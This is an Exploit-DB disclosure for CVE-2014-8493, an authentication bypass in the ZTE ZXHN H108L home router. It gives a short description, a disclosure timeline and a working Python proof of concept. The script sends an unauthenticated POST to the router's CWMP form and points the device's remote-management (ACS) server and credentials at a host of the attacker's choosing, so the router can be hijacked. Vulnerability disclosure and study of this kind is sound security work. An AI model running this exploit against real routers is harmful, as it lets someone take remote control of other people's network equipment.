ZTE ZXHN H108L - Authentication Bypass (1)

EDB-ID:

35272




Platform:

Hardware

Date:

2014-11-17


# Exploit Title: ZTE ZXHN H108L Authentication Bypass
# Date: 14/11/2014
# Exploit Author: Project Zero Labs (https://projectzero.gr | 
labs@projectzero.gr)
# Vendor Homepage: www.zte.com.cn
# Version: ZXHN H108LV4.0.0d_ZRQ_GR4
# Tested on: ZTE ZXHN H108L
# CVE : CVE-2014-8493

#Original post at 
https://projectzero.gr/en/2014/11/zte-zxhn-h108l-authentication-bypass/

Description
===========
CWMP configuration is accessible only through the Administrator account. 
CWMP is a protocol widely used by ISPs worldwide for remote provisioning 
and troubleshooting subscribers' equipment. However editing the CWMP 
parameters (more specifically sending the POST request) does not require 
any user authentication.

Proof of Concept
================

#!/usr/bin/python

import requests

acs_server = "http://<server>:<port>"
acs_user = "user"
acs_pass = "pass"

# Connection request parameters. When a request is made to the following 
URL, using the specified user/pass combination,
# router will connect back to the ACS server.

conn_url = "/tr069"
conn_port = "7564"
conn_user = "user"
conn_pass = "pass"

#Periodic inform parameters
active = 1
interval = 2000

payload = {'CWMP_active': '1', 'CWMP_ACSURL': 
acs_server,'CWMP_ACSUserName': acs_user,'CWMP_ACSPassword': acs_pass, 
'CWMP_ConnectionRequestPath': conn_url, 'CWMP_ConnectionRequestPort': 
conn_port, 'CWMP_ConnectionRequestUserName': conn_user, 
'CWMP_ConnectionRequestPassword': conn_pass, 'CWMP_PeriodActive': 
active, 'CWMP_PeriodInterval': interval, 'CWMPLockFlag': '0' }

r = requests.post("http://192.168.1.254/Forms/access_cwmp_1", 
data=payload)

Disclosure Timeline
===================

27/10/2014 - First communication attempt to both vendor and ISP
04/11/2014 - ZTE response stating that ISP should be contacted
03/11/2014 - Second attempt to contact the ISP.
14/11/2014 - No response from ISP. Public Disclosure